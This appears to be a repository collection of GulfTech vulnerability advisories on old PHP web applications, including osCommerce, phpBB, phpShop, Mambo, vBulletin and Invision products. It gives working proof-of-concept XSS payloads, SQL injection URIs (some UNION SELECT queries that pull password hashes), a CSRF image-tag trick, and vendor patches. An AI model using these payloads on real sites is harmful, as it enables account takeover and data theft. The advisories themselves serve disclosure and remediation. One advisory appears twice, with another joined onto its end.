I have found NO WAY to have a normally functioning account after this attack is executed. Even if you are able to return to your shopping cart page you still cannot purchase items or view your shopping cart. Furthermore, an attacker can obviously use this flaw to possibly compromise the database, or even worse, have some unsuspecting customer run SQL queries for them. While this attack does not cause the SQL queries to be executed in osCommerce 2.2 MS2, it does allow for an attacker to execute a Denial Of Service attack on a user by placing an unremovable item in their shopping cart. Any webmasters experiencing this kind of attack can delete the malicious values from the "customers_basket" table, but be aware that will not stop any arbitrary SQL queries from being executed. Queries are not executed in osCommerce 2.2 MS2 because the addslashes() function is being used. However, someone out there may be able to figure something out ;)
Cross Site Scripting:
Cross site scripting is present in osCommerce 2.2 MS1 An attacker can exploit this flaw by passing an invalid request to the Manufacturers ID parameter. An example of this can be seen below
/default.php?manufacturers_id="><iframe src=http://www.gulftech.org>
Solution:
Vendor was contacted an plans on releasing a fix this week. Please see their website at http://www.oscommerce.com for any details about the fix.
Credits:
James Bercegay of the GulfTech Security Research Team.
Source: http://gulftech.org/advisories/osCommerce%20Cross%20Site%20Scripting/15
osCommerce Cross Site Scripting
Vendor: osCommerce
Product: osCommerce
Version: <= 2.2-MS2
Website: http://www.oscommerce.com/
BID: 9238
Description:
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved.
Problem:
osCommerce is vulnerable to a XSS flaw. The flaw can be exploited when a malicious user passes a malformed session ID to URI. Below is an example of the flaw.
https://path/?osCsid="><iframe src=http://www.gulftech.org></iframe>
This condition seems to affect only secure https connections, but was confirmed by the developers to affect regular http connections in the current CVS version of osCommerce.
Solution:
This is the response from the developer.
To fix the issue, the $_sid parameter needs to be wrapped around tep_output_string() in the tep_href_link() function defined in includes/functions/html_output.php.
Before:
if (isset($_sid)) { $link .= $separator . $_sid; }
After:
if (isset($_sid)) { $link .= $separator . tep_output_string($_sid); }
osCommerce 2.2 Milestone 3 will redirect the user to the index page when a malformed session ID is used, so that a new session ID can be generated.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,32 @@
PostNuke Multiple Vulnerabilities
Vendor: PostNuke
Product: PostNuke
Version: <= 0.726 Phoenix
Website: http://www.postnuke.com
BID: 7047
Description:
PostNuke is a popular Open Source CMS (Content Management System) used by millions of people all across the world.
SQL Injection Vulnerability:
SQL Injection is possible by passing unexpected data to the "sortby" variable in the "members_list" module. This vulnerability may allow an attacker to manipulate queries as well as view the full physical path of the PostNuke installation. This is due to user input of the "sortby" variable not being properly sanitized.
modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=[Evil_Query]
Cross Site Scripting:
XSS is possible via the download module by injecting HTML or Script into the "ttitle" variable when viewing the details of an item for download. Example:
name=Downloads&file=index&req=viewdownloaddetails&lid=[VLID]&ttitle=">[CODE]
[VLID] = Should be the valid id number of a file for download.
[CODE] = Any script or HTML etc.
Solution:
An update has been released regarding the SQL Injection vulnerability. The XSS vuln however will not be fixed until future releases of PostNuke as it is really not possible to Hijack a users PostNuke session using a stolen session ID, thus limiting the chances of this being harmful to any users or administrators. Much respect to the PostNuke Dev team and especially Andreas Krapohl aka larsneo for being very prompt and professional about issuing a fix for this immediately. The fixed may be obtained from the official PostNuke website at http://www.postnuke.com
http://lists.postnuke.com/pipermail/postnuke-security/2004q1/000001.html
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,96 @@
phpGedView Multiple Vulnerabilities
Vendor: phpGedView
Product: phpGedView
Version: <= 2.65 beta 5
Website: http://phpgedview.sourceforge.net
Description:
The phpGedView project parses GEDCOM 5.5 genealogy files and displays them on the Internet in a format similar to PAF. All it requires to run is a php enabled web server and a gedcom file. It is easily customizable for use on many different web sites. It is one of the top 10 most popular projects at SourceForge.
SQL Injection Vulnerability:
phpGedView has a few files which are vulnerable to SQL injection. The vulnerable files are "timeline.php" and "placelist.php" The vulnerabilities are a result of input not being properly validated. The data given to these scripts are then executed by the "functions_mysql.php" file. As we can see below the $parent_id variable as well as the $level variable is passed directly into the query without being sanitized by the script at all in the "get_place_list()" function.
//-- find all of the places
function get_place_list() {
global $numfound, $j, $level, $parent, $found;
global $GEDCOM, $TBLPREFIX, $placelist, $positions;
// --- find all of the place in the file
if ($level==0) $sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=0
AND p_file='$GEDCOM' ORDER BY p_place";
else {
$psql = "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=".($level-1)
." AND p_place LIKE '".$parent[$level-1]."' AND p_file='$GEDCOM' ORDER BY
p_place";
$res = dbquery($psql);
$row = mysql_fetch_row($res);
$parent_id = $row[0];
$sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=$level AND
p_parent_id=$parent_id AND p_file='$GEDCOM' ORDER BY p_place";
}
$res = dbquery($sql);
while ($row = mysql_fetch_row($res)) {
$placelist[] = stripslashes($row[0]);
$numfound++;
}
}
Below are some URI's which can be used to exploit the issue explained in the paragraph above. Also included is a URI that triggers a somewhat similar SQL vulnerability in the "timeline.php" script.
/placelist.php?level=1[Evil_Query]
/placelist.php?level=1&parent[0]=[Evil_Query]
/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
/timeline.php?pids=[Evil_Query]
Path Disclosure Vulnerability:
There are a decent number of ways an attacker could disclose the full path of the web server, thus aiding in the information gathering process preceding an attack. Below are a list of the vulnerable scripts and proof of concept URI's to reproduce the condition.
/indilist.php?alpha=\&surname_sublist=\
/famlist.php?alpha=(&surname_sublist=yes&surname=\
/placelist.php?level=1&parent[Blah]=
/imageview.php?zoomval=blah
/imageview.php?filename=/
/timeline.php?pids[Blah]=
/clippings.php?action=add&id=Blah
/login.php?action=login
/login.php?&changelanguage=yes&NEWLANGUAGE=Blah
/gdbi.php?action=connect&username=Blah
Cross Site Scripting:
I have found over a dozen instances of Cross Site Scripting in phpGedView, but there is probably more. The impact of these vulnerabilities are self explanatory; they allow code execution in the context of the browser of someone viewing the malicious URI. Below are examples of the numerous XSS vulns.
/descendancy.php?pid=<iframe>
/index.php?rootid="><iframe>
/individual.php?pid="><iframe>
/login.php?url=/index.php?GEDCOM="><iframe>
/relationship.php?path_to_find="><iframe>
/relationship.php?path_to_find=0&pid1="><iframe>
/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
/source.php?sid=<iframe>
/imageview.php?filename=<iframe>
/calendar.php?action=today&day=1&month=jan&year="><iframe>
/calendar.php?action=today&day=1&month=<iframe>
/calendar.php?action=today&day=<iframe>
/gedrecord.php?pid=<iframe>
/login.php?action=login&username="><iframe>
/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>
/gdbi_interface.php?action=delete&pid=<iframe>
Denial Of Service:
It is also possible for an attacker to launch a DoS of sorts against a user who visits a certain URI. The vulnerability is in the language variable not being properly validated. If an attacker sends the following URI to a victim, they will not be able to access the phpGedView web site until they either clear their cookies, or manually reset the language settings by typing in a valid URI to reset the language back to something acceptable. The phpGedView website will not be able to be viewed by the victim until then.
/index.php?&changelanguage=yes&NEWLANGUAGE=[Junk_Here]
Or even one hundred million times more annoying is this :P
/index.php?&changelanguage=yes&NEWLANGUAGE=<script>var i=1; while(i){alert(i);};</script>
As I mentioned before though, it is possible to regain a normal session by manually typing in a value in the language variable that is acceptable to phpGedView.
Solution:
These vulnerabilities have been addressed in the latest beta release. Users may obtain the latest beta version at
http://sourceforge.net/project/showfiles.php?group_id=55456
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,67 @@
Multiple Vulnerabilities
Vendor: phpShop Project
Product:
Version: phpShop 0.6.1-b And Earlier
Website: http://www.phpshop.org/
BID: 9437
Description:
phpShop is a PHP-based e-commerce application and PHP development framework. phpShop offers the basic features needed to run a successful e-commerce web site and to extend its capabilities for multiple purposes. phpShop uses a nice development framework that allows web developers to easily extend its functionality through the use of modules. Its web-box architecture makes it easy to understand and work with, while providing powerful function management capabilities for your web application needs. It is one of the most popular php SQL driven e-commerce solutions available today.
SQL Injection Vulnerability:
phpShop is prone to SQL injection when updating a session. The issues can be exploited via injection of SQL Commands issued to the "page" variable. The same issue is also present when adding an item to the shopping cart via the "product_id" variable. While not as serious, the offset variable is also prone to SQL Injection. The offset injection is not likely to be exploited. Below are examples of the vulnerabilities mentioned above.
/?page=[Evil_Query]
/?page=shop/cart&func=cartAdd&product_id=[Evil_Query]
/?page=shop/browse&category_id=&offset=[Evil_Query]
It should also be noted that even if an attacker cannot successfully execute a malicious query, they can inject code thus allowing for Cross Site Scripting.
User Information Disclosure Vulnerability:
It is possible for a user to gain a great deal of information about any customer by querying the "account/shipto" module. All that is required is to be logged in under a valid account. One can then also view the administrators information. As we can see from the below code, there is no check to see if the person querying the information belongs to the account he/she queries.
<?php
if ($user_info_id) {
$q = "SELECT * from user_info WHERE user_info_id='$user_info_id'";
$db->query($q);
$db->next_record();
}
?>
Example: /?page=account/shipto&user_info_id=[Valid User ID]
The User ID's usually start around number 18 - 20 So it is easy to guess.An attacker can then view the info of any customer. The information includes; Address Nickname, Company Name, Last Name, First Name, Middle Name, Address, City, State, Zip Code, Country, Telephone, Fax Number. This is obviously not good and can be useful in aiding an attacker in other attacks, such as social engineering, and password enumeration. Not to mention it greatly violates the privacy of the customer.
Script Injection Vulnerability:
An attacker can input malicious script or HTML into his shipping information. This will then be executed by an administrator or shop owner when viewing the attackers order. It may be used by an attacker to have an administrator carry out commands or execute administrative functions unknowingly.
Cross Site Scripting:
Cross Site Scripting in phpShop is just insane. It takes place on almost any and every page. This is not an exaggeration either unfortunately. This takes place because a large number, if not majority of the variables a user passes to the script via the GET method are printed directly to screen using php echo with NO type of sanitizing at all. Furthermore, any page you try and visit that you do not have access to will allow XSS because ANY variable you pass to the get method will be stored in the login form as a hidden field.
/?page=admin/index&GulfTech="><script>alert(document.cookie)</script>
Will allow for Cross Site Scripting, strangely enough. Like I said before, XSS is possible on just about every page of phpShop, so I am not going to spend hours making a list of hundreds of instances of the XSS vulns, but a handful of examples are provided below.
/?page=shop/browse&category_id="><script>alert(document.cookie)</script>
/?func="><script>alert(document.cookie)</script>
/?login="><script>alert(document.cookie)</script>
/?page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
/?page=shopper/index&module_description="><script>alert(document.cookie)</script>
/?page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
/?page=shopper/menu&modulename="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
/?page=vendor/index&module_description="><script>alert(document.cookie)</script>
/?page=vendor/index&menu_label="><script>alert(document.cookie)</script>
/?page=vendor/index&sess="><script>alert(document.cookie)</script>
/?page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>
Solution:
The phpShop community has released a patch that supposedly resolves these issues. Users are encouraged to apply the patch as soon as possible.
http://forums.edikon.com/index.php?act=ST&f=2&t=4634
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,46 @@
IP.Board SQL Injection
Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3
Website: http://www.invisionboard.com/
BID: 9810
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
Problem:
There are three problems I am going to talk about here. neither I believe to be critical. The first causes an SQL error by tampering with the offset in the "sources/Memberlist.php" feature. Below is an example of a "vulnerable" query.
index.php?&act=Members&max_results=10&filter=ALL&sort_order=asc&sort_key=name&st=[ Junk ]
The same issue is also present in the "sources/Online.php" file
index.php?&act=Online&CODE=listall&sort_key=click&sort_order=desc&show_mem=all&st=[ Junk ]
The other problem is that it is easy for an attacker to learn the full physical path of the webserver. This can be accomplished via the "Change Personal Photo" option in the user control panel. By entering an invalid character such as a null character "%20" in the upload box and submitting the form you will be greeted by the following error message:
Warning: getimagesize() [function.getimagesize]:
Read error! in /full/path/sources/lib/usercp_functions.php on line 192
Solution:
These are not critical issues, so they will probably not be addressed until the next public release on Invision Power Board.
Hello,
Thanks for the email.
All outstanding non-critical reports will be dealt with in the next
release. The discussion on the forum password plaintext vulnberability
is a little moot as it's documented as a 'quick fix' forum permission
and shouldn't be used in place of forum permissions. In any case, this
may well be resolved by using an MD5 hash in the cookie.
Regards
Matthew Mecham
Invision Power Board Lead Developer
Invision Power Services, Inc. CEO
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,83 @@
phpBB Cross Site Scripting
Vendor: phpBB Group
Product: phpBB
Version: <= 2.0.6d
Website: http://www.phpbb.com/
BID: 9865 9866
Description:
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
Problem:
phpBB is a great forum system used by many millions of people. It is one of the more secure of the forum systems, but has a few issues still present; both of which allow for XSS (Cross Site Scripting). This problem presents itself in two different places. One of these places is viewtopic.php and the other is viewforum.php Below are examples along with a brief explanation on how to replicate this issue.
viewforum.php?f=[FNUM]&topicdays=[DNUM][XSS]
FNUM is a valid forum number. DNUM is the number of days to check. If you get no results with 1 for example try 99 and so forth and so on. XSS is whatever code is injected.
viewtopic.php?t=[TNUM]&postdays=[DNUM][XSS]
This is nearly the same issue as above, it just happens to be present in multiple files. The only difference is TNUM is a valid topic id number. Remember, the query must display results in order for the XSS to take place. Additionally the offset (start) variable may be used to get results, but in most cases is unnecessary.
Solution:
I have released a fix for this vulnerability. It requires a valid integer for the affected variables, and thus eliminates this vulnerability from taking place. You can find the fix by following the link below. I have also included a fix for PNphpBB.
http://www.gulftech.org/vuln/phpBB2.0.6dfix.rar
http://www.gulftech.org/vuln/pnphpbb1.2.1fix.rar
Alternatively you can do it yourself by following the instructions listed below.
-----[ OPEN ]-----------------------------------
viewforum.php
-----[ FIND ]-----------------------------------
if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
{
$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ?
$HTTP_POST_VARS['topicdays'] : $HTTP_GET_VARS['topicdays'];
$min_topic_time = time() - ($topic_days * 86400);
-----[ REPLACE WITH ]---------------------------
if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
{
$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ?
intval($HTTP_POST_VARS['topicdays']) : intval($HTTP_GET_VARS['topicdays']);
$min_topic_time = time() - ($topic_days * 86400);
-----[ OPEN ]-----------------------------------
viewtopic.php
-----[ FIND ]-----------------------------------
if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
{
$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ?
$HTTP_POST_VARS['postdays'] : $HTTP_GET_VARS['postdays'];
$min_post_time = time() - (intval($post_days) * 86400);
-----[ REPLACE WITH ]---------------------------
if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
{
$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ?
intval($HTTP_POST_VARS['postdays']) : intval($HTTP_GET_VARS['postdays']);
$min_post_time = time() - (intval($post_days) * 86400);
phpBB development team will be releasing an official fix soon. Please check thier website, or the sourceforge projects page of phpBB for any updates. The sourceforge projects page for phpBB can be located @ http://sourceforge.net/projects/phpbb The fix supplied here should suffice though. If you feel this is incorrect please contact me with details of any problems you experience. And a big thanks to Meik Sievertsen and the rest of the phpBB team for addressing these issues in a very prompt and professional manner.
Update:
The phpBB team has released the phpBB 2.0.7 version which addresses a number of vulns including the vulnerabilities listed here. They have also released an official fix for the viewtopic.php and viewforum.php issues, but it is no different than the one we released. So get it there, or get it here. Just be sure to get it. The link to the phpBB announcment is located @ http://www.phpbb.com/phpBB/viewtopic.php?t=180610
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,24 @@
Phorum Cross Site Scripting
Vendor: Phorum
Product: Phorum
Version: <= 5.0.3 Beta
Website: http://www.phorum.org/
BID: 9882
Description:
Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website.
Problem:
Phorum have pached a good number of XSS (Cross Site Scripting) issues in the past, but there is still some work to be done regarding these issues before the final release of Phorum Version 5. The first issue I am going to talk about lies in "login.php" If you look at the HTML source code you should see two hidden variables. One called "f" which specifies the forum id, and one called "target" which specifies the location to take the user after they login. Unfortunately both of these values are taken directly from the value of HTTP_REFERER without any validation. While there is a global script in forum that checks for the <script> tag, it will allow for pretty much any thing else, and most of you know it is not hard to execute javascript inside of a tag which is allowed. This same vulnerability also exists in "register.php" And while not the exact same, a similar problem to these two exists in "profile.php" also. Below are some examples.
login.php?HTTP_REFERER=[XSS]
register.php?&HTTP_REFERER=[XSS]
profile.php?id=2&action=edit&target=[XSS]
Solution:
The vendor was contacted and immeadiately responded, and will be releasing a fix soon. Thanks to Brian Moon and the rest of the forum dev team for such a quick response. It is appreciated.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,27 @@
vBulletin Cross Site Scripting
Vendor: Jelsoft Enterprises
Product: vBulletin
Version: <= 3.0.0 RC4
Website: http://www.vbulletin.com/
BID: 9887 9888 9889 9940 9943
Description:
vBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites.
Problem:
JelSoft vBulletin is prone to attack in six different files (maybe more) The files affected are "showthread.php", "forumdisplay.php", "private.php" and also the "memberlist.php" file. The "memberlist.php" and "private.php" files does not seem to be prone to the same attack I am about to talk about in versions three and later. The type of XSS that takes place though on vBulletin is what I would call a higher risk XSS issue. What I mean by that is alot of times slashes will be added to certain characters, or certain strings/characters disallowed, but in vBulletin you can eneter pretty much anything and have it execute sucessfully. This makes it a whole lot easier for an attacker to use these vulnerabilities to disclose a users information. Below are examples of the issues I have talked about here. Remember, the "memberlist.php" and "private.php" issues only seems to affect versions prior to 3.0, but the others affect all versions.
showthread.php?t=[VID]&page=[INT][XSS]
forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS]
private.php?&action=newmessage&userid=[UID]&forward=[XSS]
memberlist.php?action=getall&what=[XSS]<r=&perpage=25&orderby=username
admincp/index.php?vb_login_username=[XSS]
modcp/index.php?vb_login_username=[XSS]
Solution:
JelSoft were notified and there will probably be a release of a patch or update to resolve these issues.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,57 @@
Mambo Multiple Vulnerabilities
Vendor: Mambo Open Source
Product: Mambo
Version: <= 4.5
Website: http://www.mamboserver.com/
BID: 9890 9891
Description:
Mambo Open Source is the finest open source Web Content Management System available today. Mambo Open Source makes communicating via the Web easy. Have you always wanted to have your own site but never understood how? Well Mambo Open Source is just the ticket! With Mambo Open Source there is no need for HTML, XML or DHTML skills, just enter your content, add a picture and then through the easy to use administrator web-interface ...click Publish! Simple ... Quick ... And easy! With the in-built editor Mambo Open Source allows you to design and create your content without the need for HTML code. Maintaining a website has never been easier.
Cross Site Scripting:
There are a few variables that will allow for XSS (cross site scripting) on most pages of a Mambo Open Source Installation. The variables in question are "return", and the variable "mos_change_template" variable. Below are some examples of these mentioned XSS problems.
index.php?return=[XSS]
index.php?mos_change_template=[XSS]
The "return" variable is just the contents of the url, so it allows you to pass pretty much any junk to the url and have it printed straight to the page without being validated.
SQL Injection Vulnerability:
It is possible for an attacker or malicious user to influence SQL queries by altering the "id" variable. The below examples is not malicious so they will just trigger an error. The query gets passed near
"SELECT title FROM mos_categories WHERE id=[SQL]" in "pathway.php"
Please note that this vuln is also likely to exist in other places as well.
[VID] = A vaild id relating to the resource
[SQL] = An SQL query thats to be executed
index.php?option=content&task=view&id=[SQL]&Itemid=[VID]
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID]
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID]
if ($id) {
$database->setQuery( "SELECT title FROM #__categories WHERE id=$id" );
$title = $database->loadResult();
echo $database->getErrorMsg();
$id = max( array_keys( $mitems ) ) + 1;
$mitem = pathwayMakeLink(
$id,
$title,
"index.php?option=$option&task=$task&id=$id&Itemid=$Itemid",
$Itemid
);
$mitems[$id] = $mitem;
$Itemid = $id;
}
As you can see in this code snip from pathway.php, the variable $id is passed directly into the query without any sort of real validation. This is however resolved in the newly updated version of Mambo Open Source by requiring $id to be validated via the intval() function. That way it only returns a valid integer and thus prevents SQL injection from happening.
Solution:
Special thanks goes to Robert Castley for his very prompt, and professional response, and for the genuine concern regarding the security of Mambo Open Source server. A new version of the Mambo Open Source package is now available from thier official website and should be applied as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,89 @@
phpBB Multiple Vulnerabilities
Vendor: phpBB Group
Product: phpBB
Version: <= 2.0.7a
Website: http://www.phpbb.com
BID: 9942
Description:
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
Problem:
Just a few days ago I was visiting Security Focus and I saw the following issue.
http://www.securityfocus.com/bid/9896
I was at first thinking "Well, if you can't trust your admins that is as big of a security risk as any SQL Injection" After talking to a few people about this I realized that a number of phpBB installations are run on shared hosting setups, and because of that this issue could be a legitimate risk. For example
admin_words.php?mode=edit&id=99 UNION SELECT 0,username,user_password FROM othersite_phpbb_users WHERE user_id=2
I decided to look into this a little more and noticed similar issues in two other files as well. The files I found to also be vulnerable were "admin_smilies.php" and "admin_styles.php" which can also be used to query arbitrary information.
admin_smilies.php?mode=edit&id=99 UNION SELECT 0,username,0,user_password FROM othersite_phpbb_users WHERE user_id=2
I also played around with ideas on how a malicious user could use this for any kind of mischief. Remember that these SQL issues can also be used to probably drop tables and the like on non phpBB installations depending on DB privledges. Below are the findings of my weekend off from work. :P
SQL Injection Vulnerability:
Altering queries is possible via two different files in phpBB 2.0.7a and earlier. The affected files are "admin_smilies.php" and "admin_styles.php" Below is what you will see if you take a look at the "admin_smilies.php" file.
$sql = "SELECT *
FROM " . SMILIES_TABLE . "
WHERE smilies_id = " . $smiley_id;
$result = $db->sql_query($sql);
Both of these files could also be used to conduct cross site scripting attacks if a logged in admin views a malicious link sent by an attacker. Below are examples.
admin_smilies.php?mode=edit&id=[SQL]
admin_smilies.php?mode=delete&id=[SQL]
admin_smilies.php?mode=edit&id=[XSS]
admin_smilies.php?mode=delete&id=[XSS]
admin_styles.php?mode=edit&style_id=[SQL]
admin_styles.php?mode=delete&style_id=[SQL]
admin_styles.php?mode=edit&style_id=[XSS]
admin_styles.php?mode=delete&style_id=[XSS]
Maybe an attacker could send a logged in admin a link that causes certain contents of the database to be dumped into a text file in the httpd directory for retrieval, or maybe an attacker can send a logged in admin a link with some script embedded and attempt to steal information from a cookie? All of those may be likely, but what I am going to talk about next makes it a whole lot easier for an attacker.
Command Execution Vulnerability:
While looking around I noticed it was very easy to have commands that were called via the GET method executed. This could also be very useful for an attacker if he or she were to combine the above issues with the one I am talking about right now. To make things a little clearer go into your phpBB admin panel and lets create a harmless test to see how this works. We will use the word censor feature for this example since it is harmless enough, but you could just as easily use one of the vulnerabilities found by me and explained earlier in this paper. Go to the page in your phpBB admin panel titled "Word Censors" aka "admin_words.php" Now make a word censor, can be anything. After it is done get the link to delete the word censor you just made. For example see below what the link looks like.
admin_words.php?mode=delete&id=1&sid=b48906073d7a8da0ecad3e35b1f4021b
The sid variable doesn't have to be there, and if it does then that particular file is probably not vuln. Now we go into our user level account and make a post with an image that has a link to the vuln command. Now when an admin views this bogus image the command is executed. For example take the following post contents.
[img]http://host/login.php?logout=true[/img]
A post with this in it will log out whoever views it. Imagine how annoying it would be for a user to have something like that in their signature. It would log out everyone who viewed their post(s). This can be used with other files as well, not just the "admin_styles.php", "admin_smilies.php", and "admin_words.php" My weekend is almost over though :-\ So I do not have much more time to play around with this. But remember, this works on users too, not just admins and mods. The only limits I have found really is it only works on actions that get the values of it's variables from the GET method and not the $HTTP_POST_VARS[] method, and do not check for valid session id's this includes deleting posts, themes, smileys, word censors and more. This kind of activity could also be used in signatures, pm's and the like too. Some files such as modcp.php seem to handle sessions properly though, so they are not vulnerable. This is the code that checks for valid session ID's If it is not present it is possibly a vulnerable file.
// session id check
if ($sid == '' || $sid != $userdata['session_id'])
{
message_die(GENERAL_ERROR, 'Invalid_session');
}
A quick grep of the phpBB2 directory will turn up lots of results. You can do that to see which files are potentially vulnerable to this issue.
Solution:
I have corresponded wih the developers about these issues, and you can read that correspondance at the following url.
http://www.gulftech.org/vuln/phpBBEmail.txt
I think the session checks are definately a potential danger, but I have fixed the vulnerable admin files, and they can be downloaded at the link below. If you find any problems with the fixes please let me know. Also, I have added fixes for the logout, and post deletion problems.
phpBB Admin, Logout, And Post Deletion Fixes
I will post any updated correspondance in the previously mentioned file, so if you would like to keep up on any progress made check there.
Update:
Due to the lack of concern for these issues by the phpBB team and many users we have released the folling proof of concept examples.
phpBB Arbitrary Command Execution Proof Of Concept
It is also worth mentioning that the phpBB 2.0.8 upgrade does not stop the script phpBBpostMassacre from working.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,34 @@
Invision Power Top Site List SQL Injection
Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 1.1 RC 2
Website: http://www.invisiontsl.com/
BID: 9945
Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
SQL Injection Vulnerability:
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
Error: Error executing query
The software returned the following error:
You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax
to use near '[ Evil_Query ]' at line 1
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
index.php?act=comments&id=[Evil_Query]
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,85 @@
Invision Power Top Site List SQL Injection
Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 1.1 RC 2
Website: http://www.invisiontsl.com/
BID: 9945
Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
SQL Injection Vulnerability:
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
Error: Error executing query
The software returned the following error:
You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax
to use near '[ Evil_Query ]' at line 1
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
index.php?act=comments&id=[Evil_Query]
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team. Invision Gallery SQL Injection Vulnerabilities
Vendor: Invision Power Services
Product: Invision Gallery
Version: <= 1.0.1
Website: http://www.invisiongallery.com
BID: 9944
CVE: CVE-2004-1835
OSVDB: 4472
SECUNIA: 11194
PACKETSTORM: 32920
Description:
Invision Gallery is a fully featured, powerful gallery system that is easy and fun to use! It plugs right into your existing Invision Power Board to create a seamless browsing experience for the users of your forum. We've taken many of the most popular feature requests from our customers and integrated them into this product.
SQL Injection Vulnerability:
Invision Gallery seems to come up very short concerning validation of user supplied input. It is vulnerable to a number of SQL Injection vulnerabilities. Also, because Invision Gallery is integrated into Invision power Board it is VERY much possible for an attacker to use the vulnerabilities in Invision Gallery to affect the Invision Power Board which it resides on. Most of the non validated input that allow for the injections take place right in the middle of a WHERE statement making them that much easier to exploit. Lets look at an example error.
mySQL query error: SELECT * FROM ibf_gallery_categories WHERE
id=[Evil_Query]
mySQL error: You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for the right syntax to
use near '[Evil_Query]' at line 1
mySQL error code:
Date: Sunday 21st of March 2004 11:28:18 AM
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Gallery or Invision Power Board installation. Here are some example urls that could be exploited by an attacker.
index.php?act=module&module=gallery&cmd=si&img=[SQL]
index.php?act=module&module=gallery&cmd=editimg&img=[SQL]
index.php?act=module&module=gallery&cmd=ecard&img=[SQL]
index.php?act=module&module=gallery&cmd=moveimg&img=[SQL]
index.php?act=module&module=gallery&cmd=delimg&img=[SQL]
